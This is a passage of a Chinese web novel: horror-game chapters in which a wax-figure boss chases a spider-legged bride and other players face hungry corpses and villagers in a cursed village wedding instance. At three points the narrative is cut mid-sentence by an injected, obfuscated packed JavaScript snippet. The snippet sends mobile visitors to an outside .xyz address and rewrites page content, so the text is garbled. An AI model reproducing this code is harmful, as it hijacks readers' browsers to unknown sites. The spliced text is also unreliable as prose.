“但作为交换……你和你朋友,得替我照顾好她。”虞绛目光一转,指向虚弱的的刘茵茵。 “虞老板……”刘茵茵眼眶瞬间湿润,感动得快哭出来。 “不用感动,以后给我打工就好。”虞绛抬手拒绝了刘茵茵的煽情,并打算长期压榨她。 说完,她目光灼灼地盯着那块被拖远的牌匾,估摸着距离已经逼近100米。她神色一凛,气哼哼道:“这破花轿我接手了,你们快走!” 话音未落,虞绛便像离弦的箭一般冲出,拖起那顶沉重花轿奔袭而去。只留下沈百希和刘茵茵站在原地,面面相觑。 梨花树下,阿喜婆仍旧一副事不关己的模样,哪怕虞绛粗暴地将花轿拖走,也没再出声阻拦。 眼看新娘跑了,沈百希想起另一件事来:“刚才阿喜婆说,咱们得在天亮前把新娘送去祠堂。按照这个逻辑,男生那边恐怕也得按时把新郎送过去,接亲仪式才算真正完成……” 她刚才向耳机传达了虞绛发现的第5条规则后,周祺始终没有回应,也不知道新郎接亲是否顺利。 闻言,刘茵茵凝视着虞绛远去的身影,深吸一口气:“那我们就去找你朋友。既然新娘交给虞老板了,我们得确保新郎那边不出岔子才行。” *** 院外,虞绛身后始终有一道若有似无的电流滋滋作响,一旦她落后一步,电光便蓄势待发,随时可能劈落在她背上。 可她此刻真正想骂娘的,并不是系统的电击惩罚,而是眼前这一幕。 宅子外是来时那条田埂小路,四周空旷无 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15547543|171210||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 依,连个落脚点都没有。那八条腿的变异新娘受到“不能下地”的规则所限,竟然将她的牌匾当滑板使! 她将写着“蜡妹棋牌室”的牌匾砸在地上,接着八条腿一蹬,踩着它在田间旱地冲浪。 可怜的木头牌匾被丝带牢牢缠住,一面被新娘的八条腿重压,一面被按在地上摩擦,劣质木材咯吱作响。 虞绛简直要心肌梗塞,裴翎的警告在耳边回响:“记得千万保护好这块门牌,要是被副本外的NPC破坏了,你家可就没了。” “把我的牌匾放下!” 虞绛大吼一声,化愤怒为力量,使出浑身牛劲将身后的花轿拖出了火星子。 好在她那块牌匾质量虽然不咋地,但分量也不轻,拖累得变异新娘的速度也慢了下来。 虞绛见状更是咬紧牙关、奋力狂奔,转眼已从田埂冲回村落街口。 白灯笼稀稀落落地垂在屋檐下,光芒淡淡的,勉强照亮夜路。 变异新娘跳上了村屋的外墙,却像是突然受到了限制,在屋檐下焦躁徘徊不前。 她似乎试图按照虞绛来时的方向逃出村口,可一脚刚刚搭上屋檐,便暴露在檐下散发的白色光晕中,脚掌像是被烫到般急忙缩了回来。 这家伙……怕白灯笼的光? 新娘踌躇之际,虞绛已经将追击的距离缩短了一半。 察觉到威胁逼近,新娘陡然回头,阴狠地盯了她一眼。 随即她一个大转弯,放弃了通往村口的主路,转而沿着村屋外墙面急速爬行,牌匾在地上不断磕碰出声。 脱离旱地滑行后,新娘速度果然加快了。 但奇怪的是,虞绛却并未被拉开太远,反而也越跑越快,仿佛她也在潜移默化之间发生了变化。 难道就跟网上的小说情节一样,生死一线出奇迹? 不,不对! 虞绛若有所感地低头,猛然发现自己的小腿上不知何时竟也长出了两条异肢,已经生长到能稳稳着地的程度。 她也被污染了? 但在这个节骨眼上,虞绛压根顾不上身体的问题。她甚至欣慰地发现,在四只脚的加持下,她果然跑得更快了。 该说不说,这个副本里的变异效果还挺实用。 此刻距离前方的牌匾已不足五十米了! 可她的意识,却逐渐变得不对劲起来,脑海深处有一个念头在疯狂叫嚣: “跑啊!快跑啊!!” “逃出去!逃出这个村子!别被他们发现了!” 他们是谁? 脑中突兀涌入碎片化的景象:神色冷漠的村民提着灯笼围拢过来,眼睛里是不加掩饰的赤裸审视。 女子的啜泣声、哀嚎声、棍棒打在身体上的闷响交织而起,混杂着男人们粗哑的咒骂与狞笑。 “奶奶的,这娘们儿居然想跑?!给老子往死里打!” “打断这条腿,看她还往哪儿跑!再敢跑一次,两条腿都卸了!” “这女人性子还挺烈,可真带劲!等出了祠堂,看老子怎么把她调教得服服帖帖的。” “嘿嘿,我也一起!” 最后,是伏在尘埃里的视角,望向天空的视线被一颗梨花树遮挡,纯白的梨花漫天飘零、纷飞而落。 耳边飘来女子断断续续的哼唱,虚弱却哀绝: “梨花落,南山墙。 合卺酒烈入喉肠,长路漫漫不思量。 只盼从君归故里,执手长相望。 鸡犬相闻烟火暖,琴瑟和鸣梦里香……” 23. 荒村婚宴宾客须知(五) 歌声如黄鹂般婉转动听,但虞绛心头却涌起巨大的哀怆。她微微蹙眉,感到困惑,这好像是她第一次体会到“哀伤”的情感。 可现在不是共情的时候,她狠狠压下脑子里乱七八糟的幻象,全神贯注地追逐着自家副本的门牌。虞绛越跑越快,膝盖处逐渐扯裂出第五、第六条蛛腿般的异肢。 左边是田野,右边是村屋,两侧的景物飞快倒退。很快,那变异的新娘开始减速,她抵达了目的地。 虞绛此时距离她不过十米,第八条腿从大腿根部撕裂而出。 眼前,是一座檐下没有挂白灯笼的幽暗院落,门匾上书“刘府宗祠”。 新娘竟然自己来到了接亲的目的地?那她搞逃跑这一出又是为什么? 虞绛一头雾水,却见新娘忽地回眸,深深地望了她一眼,随即跃上屋檐翻入院内。 她甚至试图将虞绛的牌匾带上,只见丝带从院内猛然一拽,门牌被拖拽上墙,正好盖住了祠堂正门上原本的宗祠匾额。 “我的棋牌室!”虞绛不再多想,纵身而起,终于及时扯断了缠绕在门牌上的丝线。 瞬间,牌匾那端的牵引力一松,变异的新娘放弃纠缠,彻底隐入院墙深处。 虞绛顾不得再追,八条异化的长腿扒在门框上,紧紧护住那已经遍布裂痕的棋牌室副本门牌。 夜已过半,再过不久便是黎明。但新娘成功逃遁,大红花轿歪倒在祠堂门口,接亲仪式还没完成。 恐怕真要按照阿喜婆的意思,让她自己代替新娘继续完成接亲仪式了。 对此虞绛早有心理准备,可就在她打算将副本门牌重新取下时,Boss专用的诺基亚工作机突然震动起来。 虞绛心中掠过一丝不寻常的猜测,只见手机屏幕中,一条带着红色警报图标的系统短信忽然弹了出来。 “警报!检测到您的F级副本《蜡妹棋牌室》与C级副本《荒村婚宴宾客须知》定位重合! 副本空间重叠将引发同化效应,不仅干扰副本营业进程,还可能导致低等级副本结构崩塌。 请您立即挪移F级副本门牌,避免被高等级副本同化,确保两个副本独立运行、互不干扰!” 虞绛正要搬下牌匾的动作顿了顿,没想到这个C级副本的门牌也在刘府宗祠里。 然而,和系统下达的指令相反,她反手将书写着“蜡妹棋牌室”的牌匾严丝合缝地盖在刘府宗祠的匾额上,动作干脆利落、毫不犹豫。 蜡像人虽无血肉,却也有反骨! 虽然她搞不懂系统提及的同化效应会产生什么后果,可一想到自己在这个副本里接连中招,还莫名其妙长出八条蜘蛛般的异腿虫肢,她就咽不下这口气! 现在还要让她乖乖退让、主动示弱? 做梦! *** 从方才的岔路口往东走,通向的是村里的后山。虽说是山,顶多也只是个抬头就能望见顶的小土坡,坡上遍布零星坟头。 周祺面朝满山坟地,双手稳稳捏着一根犀角香,额角不由自主地渗出冷汗。 耳机里,沈百希刚刚焦急地传来情报:“5.如果看见坟墓起尸,请牢记这是犀角香产生的幻觉,请无视幻觉,并避免与之对视。” 周祺苦笑,晚了,他已经被盯上了。 此时,一具全身干瘪、肤色乌黑的干尸几乎贴在他的面前,尸体散发着刺鼻的腐臭,溃烂的皮肤随着行动一片片掉落,几近剥落殆尽。 那双深陷的眼窝空洞无光,正贪婪地围着他手中的犀角香嗅来嗅去。 他迅速垂下眼眸,捧香的手也一动不动,生怕引起它的注意。毕竟,不小心中招的下场正在一旁上演。 “那边的兄弟,救……救救我……!啊啊啊啊啊啊——” 是那对情侣玩家中的男生,此刻正被一群干尸紧紧围住。下一秒,凄厉的呼救声戛然而止,一只脸色发青、满身尸斑的干尸一口咬下了他的脑袋。 紧接着,其他干尸蜂拥而上,张口撕咬。他手中的犀角香跌落在地,香火断裂成两截,袅袅残香反倒成了最佳调味品。 周祺闭了闭眼睛。 二十分钟前,他们跟着唢呐陈和几个男性村民登上这片坟坡。坟头散乱,夜色中格外阴森,部分墓碑刻有姓名和家族,更多的却空无一字。 周祺很快发觉,所有的墓碑刻名的都是男性。想到他们是来接新郎的,周祺心中一沉,看来这是一场阴婚! 很快,唢呐陈便宣布了接亲规则—— 按照宾客须知第6条,两位男宾客需点燃犀角香,香一旦点燃不可熄灭,直到刘家新郎循香而至。宾客应在天亮前护送新郎到刘家宗祠,方为接亲礼成。 周祺当即举香踏入乱坟岗,挨个路过每个坟包,试图找到并唤醒刘家新郎。他甚至在一块布满裂纹的墓碑侧面,发现了关于“修剪新娘多余长脚”的宾客须知。 可当周祺刚通知完沈百希,再次抬头的时候,却猛然察觉整座坟山都被犀角香的香火惊醒。 乌压压的干尸齐齐破土而出,徒手撕开坟头草,带着掉渣的腐肉与将散的骨架,拖曳着沉重的尸躯,朝他们涌来。 “好饿……好饿……”二三十具干尸,腐朽程度不一,甚至还有几具看起来新鲜无比,尚未显露尸斑。它们喃喃低语,明明连眼睛腐烂了,眼眶里仍莫名散发着病态又饥渴的精光。 “这……这不是接亲吗?!怎么诈尸了?!”同行男玩家显然经验不足,一见满山的死人诈尸逼近,当场慌了阵脚,握香的手也开始发颤,跌跌撞撞地后退。 周祺按兵不动,冷静地暗自观察,他在寻找这群腐尸中被香引来的真正新郎。 所有干尸都被浓香吸引,换做其他人根本无从分辨。但周祺并不担心,因为他们早已布下“暗棋”,正确答案会自行向他走来。 然而,就在他凝神端详每具干尸的面目时,却发现干尸们逐渐将目光投向了他。他手中的犀角香轻烟流转,如同一根无形的线,牵引着它们缓缓逼近。 可同样被盯上的男玩家率先乱了阵脚,他一边呼救一边逃跑,反而夺取了干尸群的注意力。干尸们的视线齐齐偏移,刹那间如饿狼扑食般扑了上去,接着便出现了男玩家被群起分食那一幕。 余下的干尸依旧饥饿,也对周祺手中的犀角香依旧感兴趣。周祺垂眸屏息,强迫自己无视这些“幻觉”。 片刻后,一直围绕在他身侧的干尸果然失去兴趣,摇晃着离开了。 然而,周祺刚松一口气,背后 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15547544|171210||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 却猛然一沉!一双冰冷惨白的手臂无声地从颈后探出,搭上了他的肩膀。 他身后竟然还有一只! 这只干尸不知何时悄然逼近,在他毫无察觉的情况下爬上了他的背,安之若素地环住了他的脖子。 “幻觉,都是幻觉……”周祺强行压下回头的本能,口中默念着。可犀角香的烟却径直飘向了他颈后的方向,时时提醒他后背有人。 他陷入了一个无解的悖论。不能与干尸对视,否则便会遭到群攻……但如果刻意无视,他又该如何从这些干尸中分辨出刘家的新郎? 没有主动破局的办法,只能相信他们的“暗棋”了。 他抬眸看向唢呐陈,那是个高瘦干枯的中年人,自从交代完规则后便一言不发,像个哑巴。 “祠堂怎么走?”他试探着问。 唢呐陈没有亲自引路的打算,随手往前一指:“一直走,别停下。” 周祺眯起眼,他刻意忽视背上那具干尸的重量,朝着祠堂的方向踏步向前。同时,其他干尸被犀角香吸引,不紧不慢地跟上他的脚步,像一群永远填不饱肚子的饿鬼。 “没事的。”他默默安慰自己,只要他无视它们,这些干尸就不会贸然动手。 可没走多远,他就意识到有些不对劲。他背上的东西,怎么越来越重了? *** 与此同时,沈百希和刘茵茵原路返回岔路口的时候,不出意外地迷路了。 刘茵茵明明记得,穿过田埂小径一直走,就会回到当时的分岔口。可两人走了好一阵,眼前却仍是那条笔直延伸的小路,仿佛永远没有尽头。 “我们是不是撞上鬼打墙了?”刘茵茵缩了缩脖子,两边的村屋静得渗人,像是蛰伏不动的野兽。 沈百希烦躁地挠挠头:“可能是灯笼的问题。刚进村的时候阿喜婆说过,没有灯笼容易迷路。” “这是陷阱吧!”刘茵茵气鼓鼓的,“明明是规则让我们把灯笼留在无人的房檐下,早知道就提着灯笼过来了,也不至于现在还找不到路。” 沈百希看向旁边一户屋檐下悬挂的灯笼,灯里还燃着半截蜡烛,看样子还能撑过后半夜。 她心中泛起一个念头,可以把别人家的灯笼拿下来自己用吗? 心念一动,她伸手试着去扯,却发现檐下的灯笼仿佛和屋檐融为一体,卡得死死的。即便她用了吃奶的力气,也无法将灯笼底座扭动分毫。 难道这是副本的保护机制?毕竟灯灭人死,所以入住村屋后,将灯笼挂在檐下,就等于设立了“安全区”,防止被其他玩家抢走? 沈百希刚想通这一点,房檐下的大门忽然“吱呀”一声被人从里打开。 “外乡人,迷路了?”门内走出一位清秀的年轻人,看上去神情温和、语气亲切。他穿着一件皱巴巴的T恤,胸口还沾着说不出是什么的脏污。 “要不进来歇一晚吧!婚宴明天下午才开始,全村人都会去,到时候我带你们一起去祠堂吃席。”青年微笑着,露出一口整齐洁白的牙齿,可那笑意却未达眼底。 面对过分热情的青年,沈百希心中生出警惕,没有立刻应答。 然而身边的刘茵茵却忽然瞪大了眼,惊呼道: “陆骁?!” 24. 荒村婚宴宾客须知(六) 刘府宗祠的大门紧锁,虞绛估摸着得等接亲仪式完成后才会打开,便缩回花轿里闭目小憩,昏昏沉沉地熬过了大半夜。 天刚蒙蒙亮,远处忽然传来一阵凌乱的脚步声。 她撩起轿帘,只见成群结队的干尸摇摇晃晃,步伐诡异地朝宗祠逼近,为首之人正是那个男玩家周祺。 他似乎是被背上的尸体压弯了腰,汗水从额头淌到下巴,腿脚发颤一步三晃,几乎靠意志硬撑着往前挪。 可当虞绛凝神细看时,那具趴在他背上的尸体却忽然抬头,双眼中透出一抹阴郁与邪气,和她的视线撞了个正着。 那是一张剑眉星目、骨相清俊的脸,皮肤苍白发青,短发沾着尘土,一袭红袍将人映得愈发诡魅。 即使粗线条如虞绛,也得承认这男人长得不错,属于从副本门口路过也会多看两眼的帅哥。 不过,看这身红袍,难道这就是那位刘家新郎? 不怪虞绛有些迟疑,这男人虽一身阴郁的死人气息,但起码像个活人。尤其是跟八条腿的新娘和身后那群边走边掉皮的干尸相比,简直正常得格格不入。 说起新娘,她低头看了看自己。扭曲怪异的六条异肢把牛仔裤戳得破破烂烂,感染加深后,她甚至无法再将这些腿转化为蜡液收回体内。 哦豁!现在,八条腿的新娘是她了。 “吱呀——” 天光初现,第一缕晨曦洒落在宗祠门楣上,大门缓缓开启。 虞绛坐着的花轿猛然一震,轿帘“唰”地垂落遮住了视线,轿身随即缓缓移动,仿佛自带意识般朝敞开的宗祠驶去。 与此同时,周祺手中的犀角香也燃尽了最后一缕青烟。他正要喘口气,却骤觉背上一轻。 下一秒,那穿红袍的男尸从他身后飘然绕过,步态从容地踏入宗祠。 宗祠内,沿着铺着青石板路走了一会,花轿才缓缓停下。 虞绛急忙下轿,映入眼帘的是一间狭窄的厢房。她下意识回头,只见对面厢房的大门也在此时“砰”地关上,红袍男人正好走了进去。 两个厢房,一左一右,中间是一扇通往宗祠深处的仪门,门后极有可能就是今晚婚宴的举办地。 虞绛走进厢房,房间不大却意外整洁,她费力地将八条腿收拢,束手束脚地在方桌前坐下。桌上放着一卷红绳封口的纸卷,她粗暴地拆开,却发现是一纸婚书。 婚书全篇都是一些看不懂的陈词滥调,尤其最后一段更是莫名其妙: “先祖若允,则冥契可成,两柩合葬,死亦同归。若先祖不允,新妇须留村受察,守礼从规,取悦邻里,待先祖改意,再议归终。” 又是冥配又是合葬,这是要她和死人结婚?! 更离谱的是,如果先祖不同意,新娘就得留下来接受考察,甚至取悦村民,直到先祖改变心意,才有资格去黄泉下和男鬼作伴? 虞绛脑中轰地一下,猛然想起幻境中的画面,这具轻飘飘的“守礼从规,取悦邻里”,恐怕隐藏着无数无法言说的惨剧。 她猛地一拍桌子,低声爆了句粗口:“他大爷的!” 然而,耳边却响起两声机械消音,出口的话变成了: “他哔——哔——的。” 狗副本,居然还自带消音机制?!这是强行让她按照婚书的要求“守礼从规”? 虞绛突然觉得,自己对副本的开发程度实在不足。 不过嘛……她鼓起腮帮子,眼中的讥讽一闪而过。 现在这里可不止荒村婚宴一个副本,她既是玩家也是副本Boss,谁来定这里的规矩还真不一定! 与此同时,门外的周祺终于直起腰,一边揉着后腰一边感叹:“总算把这祖宗送走了……” 下意识回头一看,那些干尸不知何时也不见了踪影。 他松了口气,正要按下耳机联络沈百希,那头却已传来一声惊呼:“周祺!救命哇!!” 他心头一紧,立刻离开祠堂赶去救援。 也因此,他并没有注意到,宗祠大门上方原本的“刘府宗祠”,已经悄然变为一块写着“蜡妹棋牌室”的残破牌匾。 *** “我终于找到你了!”刘茵茵热泪盈眶地扑了上去,紧紧抱住失散多日的好友。 可出乎意料的是,陆骁不为所动,并没给任何反馈。 刘茵茵有些意外地松开他:“陆骁?你怎么回事?难道不认识我了?” 陆骁全身僵硬,脸上还挂着那抹虚伪的笑容。他顿了顿,像个卡带的NPC,又重复了刚才的开场白: “外乡人,迷路了?” “要不进来歇一晚吧!婚宴明天下午才开始,全村人都会去,到时候我带你们一起去祠堂吃席。” “不对劲。”沈百希声音发颤,一把将刘茵茵拉了回来,“你看后面。” 两人回头,只见身后不知何时围拢了一圈村民。他们走路没有声音,每人手上都提着白色的灯笼,已经站成一排,堵死了她们的后路。 这些村民神情冷漠机械,只有盯着她们的眼神闪烁着贪婪的光芒。 沈百希迅速翻出道具袋,可她在队伍中偏重辅助,能用的攻击型道具寥寥无几。 情急之下,只能拿出原本用来对付虞绛的打火机。 “你们想干嘛?别过来!”她硬着头皮举着那点微弱火光,试图震慑眼前的村民。 其实她心里发怵,腿脚发软。但她答应过那个正邪难辨的蜡像怪,要保护好刘茵茵。 村民的肚子里传来“咕噜咕噜”的怪声,他们眼中的饥渴愈发浓烈,一边缓缓逼近,一边不住地低语着:“好饿……好饿……” “扒了她们的衣服。”一个大块头猛地冲上来,一把打掉沈百希手中的打火机。 “嘿嘿,红烧还是清炖?”另一个长相猥琐的男人抓住了沈百希的左臂。 “周祺!救命哇!!”沈百希迅速认清形势,不再独自抵抗,朝着耳机大声呼救。 “陆骁!你快醒醒!快阻止他们啊!”刘茵茵带着哭腔摇晃陆骁。 但陆骁依旧无动于衷,机械重复:“外乡人,迷路了?” 村民们似乎特意留她一人给陆骁“安排”,大多数人都扑向了沈百希。 为首的大块头像扛猎物般将她抗在肩上,众人则兴奋地围着喧闹。 “好饿啊,快开餐吧!” “嘘,不能在街上动手,去我家再说。” “不行,这次去我家!” 沈百希吓得发抖,一边祈祷周祺快来,一边仍在努力挣扎。然而,每当她剧烈挣扎的时候,就会有更多人冲上来按住她的身体。 “你们给我放开她!”刘茵茵忽然怒吼,捡起掉落的打火机,对准了挟持沈百希的村民。 她 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15547545|171210||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 的双腿仍在颤抖,眼圈泛红。这是她进入游戏以来,第一次真正鼓起勇气反抗。 就在刚才,她的心头涌上一阵剧烈的失落与自责。 现实中有陆骁罩着,进入游戏又幸运地抱上了虞老板的大腿,她似乎从未独自面对过真正的困境。 可现在,陆骁失去记忆和理智,而拼了命保护她的玩家也即将落入魔爪,她却连支援同伴的能力都没有! 真废物,她恨自己是个没用的拖油瓶! 为首的壮汉闻声回头,看见陆骁依旧毫无反应,脸上泛起一个渗人的微笑:“也好,今天加个菜。把这个女人也带上!” 众人齐刷刷地盯紧了刘茵茵,朝她围拢过来。泛白的烛火摇曳着,陆骁仍是一副笑容僵硬、神情空洞的模样。 刘茵茵强行压下心头的恐惧,咬紧牙关低声自问:“事到如今,我还在等别人来救我吗?” “你在干嘛!快跑啊!”沈百希声嘶力竭地喊着,声音已经带了哭腔。 刘茵茵深吸一口气,在心中默默为自己打气。这一次,哪怕豁出性命,她也要靠自己救回同伴! 忽然,一只冰冷坚硬的手从侧面伸来,直奔她肩膀而去。 刘茵茵的精神高度集中,反应极快。她猛地一侧身,借着对方扑来的力道,打火机火光一掠,准确点燃了那人手中提着的白灯笼! “嘶啦!” 火光骤起,那偷袭的村民顿时发出一声惨叫,顾不上她,惊慌失措地去扑那团火。 刘茵茵心跳如鼓,果然这些灯笼也是村民的命脉!灯灭人亡的规则不仅针对玩家,也同样作用在这些NPC身上! 但她的反击也彻底激怒了村民。那为首的大块头脸色一沉,猛地将肩上的沈百希丢下,交由其他人控制,自己则迈步朝她逼近。 他一步步靠近,拳头咯吱作响,目光像要把她生吞活剥。 “糟了!”她心中一紧,这回对方已起了戒备,打火机的策略恐怕再难奏效。 大块头村民的距离迅速拉近,生死一线之间,熟悉的系统音突兀响起: 【叮!亲爱的内测玩家,恭喜您觉醒特殊天赋——】 来了来了! 刘茵茵眼前一亮,心中升起强烈的希望。难道她是天选之人,在生死一线之间终于觉醒了金手指?! 【百分百撞鬼。】 系统慢吞吞补充道:“在副本中,您永远是鬼怪眼中最靓的崽,所有鬼怪NPC都会不自觉地向您靠近。请您充分开发天赋潜力,祝您游戏愉快!” 刘茵茵:???? 我请问呢?这算什么特殊天赋? 她在心中怒吼:“我不喜欢!我不需要!请你赶紧收回去。” 下一秒,壮汉冷哼一声,一记掌风破空袭来。 她眼前一黑,本能地闭紧双眼,做好了被抓住的准备。 然而,意料中的魔掌没有落下。 “砰——!” 随着一声闷响,那壮汉的身形猛地一顿,像是背后突然被重物死死压住,整个人踉跄着弯下了腰。 刘茵茵小心翼翼睁开一只眼,下一秒瞳孔瞬间收缩。 那壮汉的背上,不知何时趴着一具血肉模糊、皮肉干瘪的尸体。干尸猛地张口,一口咬住了他脖子! “咔——!” 刘茵茵呆住了。这还真是,百分百撞鬼了?! 25. 荒村婚宴宾客须知(七) 那尸体似乎察觉到了别的视线,猛然朝着刘茵茵的方向转头。她心头一跳,立刻低下头去。 干尸疑惑地观察了一会儿,见刘茵茵确实没有直视自己,便继续安心啃食眼前的猎物。 “救命啊!是先祖!后山的先祖出来了” 惊叫声此起彼伏,这次出现的不止一具干尸,而是一整群。它们乌泱泱地扑向每一个与之对视的村民,不出片刻,便将一人啃得只剩干净的骨架。 “不是说先祖只会去祠堂吗?怎么朝这边来了?!” “救命!别咬我!” 刘茵茵看呆了,她后知后觉地反应过来,这就是“百分百撞鬼”的特殊天赋吸引来的鬼怪? 她心跳加快,涌起一股难以言喻的兴奋。这垃圾天赋,竟然有点用? “你没事吧?”此时,沈百希也趁乱逃脱。她牢记传达给周祺的第5条宾客须知,全程低头不敢直视那些干尸,小心翼翼地摸到刘茵茵身边。 见刘茵茵摇了摇头,她果断拍板:“趁副本NPC在自相残杀,我们赶紧逃!” “等等!”刘茵茵拉住了沈百希,指着散落一地的白灯笼,“你看,干尸对这些白灯笼不感兴趣。” “但我们可以拿走,有了灯笼就不怕迷路了!”她眼睛一亮,“而且从阿喜婆那里拿的免费蜡烛估计只能撑一晚吧?续命的蜡烛,不就全在这儿了吗?” “你说得对啊!”沈百希眼里顿时泛起精光。 两人小心翼翼地收集起尚未燃尽的白蜡烛,等干尸们吃饱喝足之时,两位玩家已经搜罗了个彻底。 在烛光的光晕下,前方不再是鬼打墙的死循环。之前经过的岔路口,也终于在不远处显现。 “可陆骁……”刘茵茵迟疑地看向自己的朋友。庆幸的是,他全程傻乎乎地盯着她看,没有对干尸表现出半点反应,因此幸运地保住了小命。 “外乡人,迷路了吗?”他仍念着那句一成不变的台词。 “冷静点,他这个样子没法上路。我们只能尽快通关副本,然后再把他带走。”沈百希叹了口气,轻声劝道。 刘茵茵有些不忍,她揉了揉发红的眼睛,将两截蜡烛塞进陆骁手中,循循善诱道: “陆骁,今天的婚宴可能很危险。你就乖乖待在屋里等着,好不好?等副本结束,我一定回来找你。” 陆骁低头看了看手中的蜡烛,眼神略微恍惚。这一次,他没有卡带,脸上罕见地出现了波动的神色,缓缓点头。 刘茵茵鼓励地摸了摸他的头,轻声告别,然后随沈百希匆匆离去。 晨曦微暖,接亲仪式的时间竟已过了。但村里仍静悄悄的,没有丝毫异动,看来仪式已经顺利完成了。 接下来,她们得返回房屋,添上续命蜡烛,为今天的婚宴养精蓄锐。 看着刘茵茵远去的背影,陆骁捧着蜡烛怔怔站在门口。过了会,他像是想起刘茵茵的叮嘱,打算关上房门回屋等待。 然而,一道奇异的电流猛然穿体而过。紧接着,一股令人垂涎的香气从远方悄然飘来。陆骁停下了关门的动作,他无法自控地朝着北方望去,身体里的细胞在齐声尖叫: “好饿……真的好饿……” “出去吧,离开这里!” “往北走,去祠堂,那里有肉香!” *** 另一边,周祺在接到沈百希的讯息后迅速赶往村屋,约定在村口入住的屋子汇合。 刘茵茵路过自家院子时,注意到属于虞绛的白灯笼尚未熄灭,但蜡烛只剩短短一截。她松了口气,虞老板平安无事就好。 她麻利地换上了充足的蜡烛,随即便和沈百希一道赶往她与周祺入住的小屋。 然而,当刘茵茵踏入那座院落,险些以为自己走错了地方。眼前的院子竟与她和虞绛之前入住的那间几乎一模一样! 同样杂草疯长的院落、散发恶臭的屋子、以及……那口熟悉到令人发怵的枯井。 她下意识地停住脚步,腿上的伤口阵阵发疼。一整夜未眠的疲惫令她意识恍惚,她甚至觉得自己的双腿似乎又有些发痒。 “噗呲——” 下一秒,一阵清凉的喷雾忽然扑面而来,刺鼻又透心凉的气味瞬间驱散了她脑中的阴翳。 “污染清除剂,虽然是低阶版本,但你这异肢拔除之后状态已经稳定不少,用这个应急还是有效的。”沈百希晃了晃手中的喷雾,顺手也往自己身上补了几下。 “你真厉害,怎么会有这么多道具?”刘茵茵眼睛一亮,满是羡慕。她这种纯新手刚进游戏就连进两个副本,根本没研究过游戏商店里的道具。 “你还真是纯新人啊?”沈百希惊讶地挑了下眉。 她随即从墙角翻出些破旧稻草,随手铺在地上,接着从口袋里掏出一堆零零散散的道具,摆了满地。 “咱们都算过命的交情了,我也不藏着掖着了。”她一拍胸脯,肉嘟嘟的脸上满是自豪,“这就是我们小队的大多数家底了,有技能探测器、无线耳机、打火机、清凉喷雾、烟雾弹……” 刘茵茵看得眼花缭乱,很快捕捉到重点:“你们小队?除了你,还有那个叫周祺的男玩家?” “周祺是我队友之一。”沈百希拉着她坐到稻草堆上,认真解释道,“看在你是个菜鸟的份上,我好好给你科普一下。你应该已经发现了吧?这个游戏是个罪恶的骗局,把内测玩家骗进来却不留退出通道,而且论坛也会屏蔽游戏细节的讨论,根本就是个杀猪盘。” 刘茵茵深有同感地猛猛点头,她现在做梦都想回家! 沈百希继续道:“可为了逃脱这个牢笼,玩家们还是千方百计建立了联系,现在大致分成了两大派别:保守派和激进派。” “保守派认为,只要通关副本排行榜首的S级中心区副本,就能成功退出游戏。所以他们会主动组队刷副本,共享道具资源和副本攻略,帮助大家从城市外围一路向内推进。只要有一个人成功通关S级副本,留下副本攻略,其它人也能借助攻略脱身。” “我们小队就属于保守派。”沈百希笑了笑,“我没有觉醒特殊天赋,战斗力也不行,就负责对外联络和收集情报,我的同伴们也给我留了很多道具。” 刘茵茵恍然大悟,原来看似风平浪静的论坛背后,玩家们早已用自己的方式搭建起有组织、有目标的反抗体系了。 “但你们要怎么联系其他小队,共享情报和攻略呢?不能全靠进副本碰运气吧?”她疑惑地问。 沈百希露出一副“你太天真”的表情,神秘兮兮地掏出手机点开论坛:“当然不是啦。明面上不能交流,但我们有暗号!” 她指着论坛的吹水区:“你看这些帖子,什么‘和crush面基结果是舍友’、‘棋牌室创业扣1’,看起来很离谱对吧?但点进首评,你会看到一串‘哈哈哈哈哈’后面多了几个奇怪字母,比如这个‘DE17’,就是‘D级副本’、‘东(East)城门’、‘17点’集合的意思。” “好聪明的办法!”刘茵茵顿时明白过来,“只要在副本里遇到新玩家的时候,将统一的编码格式散播出去,就能建立起线下交流机制,避开系统的监控!” 沈百希得意地眨眨眼:“对吧?这是我们试验下来最有效的方式啦。编码好记,情报帖子也很好分辨,玩家一看就能明白。毕竟,谁会在这种生死难测的地方发八卦贴或卖课推广呢?” “这倒是……但也不一定?”刘茵茵迟疑了一下,脑海中浮现出虞老板那诡异的“蜡妹棋牌室”构想,不禁打了个问号。 沈百希没察觉她话中的迟疑,眼睛一亮,真诚地发出邀请: “所以,要不要加入我们小队?我们很包容的,连我这种废柴都能负责线下传递攻略的工作。周祺有分析和 